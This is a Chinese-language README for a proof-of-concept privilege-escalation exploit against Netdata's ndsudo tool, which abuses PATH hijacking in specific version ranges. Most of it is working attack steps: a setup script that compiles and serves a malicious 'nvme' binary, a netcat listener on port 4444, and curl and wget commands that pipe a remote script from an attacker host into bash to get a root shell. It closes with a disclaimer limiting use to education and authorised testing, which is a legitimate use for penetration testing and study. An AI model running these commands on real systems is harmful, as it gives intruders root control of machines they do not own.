通过"ndsudo"进行权限提升的Bash脚本(Netdata本地利用)
>= v1.45.0, < v1.45.3
>= v1.44.0-60, < v1.45.0-169
ndsudo 工具运行一组受限的外部命令,但搜索路径由"PATH"环境变量提供。通过将"PATH"环境变量更改为我们有权限的路径,我们可以控制 ndsudo 查找命令的位置,并创建一个包含恶意代码的命令。
此漏洞利用基于假设目标机器和攻击者机器位于同一网络。
我们可以通过运行"setup_exploit_server.sh"自动生成并部署攻击所需的文件。
$ ./setup_exploit_server.sh YOUR_IP
--------- Exploit Infrastructure Setup by Ottanta ---------
[+] Using server IP: YOUR_IP
[+] Creating exploit directory: /tmp/exploit
[+] Creating ndsudo_pe.sh script file...
[+] Creating nvme.c exploit file...
[+] Compiling nvme binary...
[+] nvme binary compiled successfully
[+] Starting web server on port 80...
[+] Web server started with PID: 9350
[+] nvme binary is available at: http://YOUR_IP/nvme
[!] Now run the privilege escalation exploit in the victim terminal
[!] Make sure to start listener: nc -nlvp 4444
Press Enter to stop the web server and clean up...
此脚本将创建所有攻击所需的文件,并配置为使用你的 IP 地址。
部署 Web 服务器后,我们在另一个 shell 上启动监听器:
# We start a listener with Netcat, but you can use anything else
$ nc -nlvp 4444
listening on [any] 4444 ...
根据我们的 HTTP 客户端,我们可以下载并执行我们的漏洞利用。
# If we have curl
$ curl -L http://YOUR_IP/ndsudo_pe.sh | bash -s -- YOUR_IP
# If we have wget
$ wget -qO- http://YOUR_IP/ndsudo_pe.sh | bash -s -- YOUR_IP
如果一切正确完成,我们现在应该拥有一个 root shell。

此概念验证仅用于教育和授权测试目的。未经授权对您不拥有或未获明确许可进行测试的系统使用是违法的。作者不对任何滥用此信息的行为负责。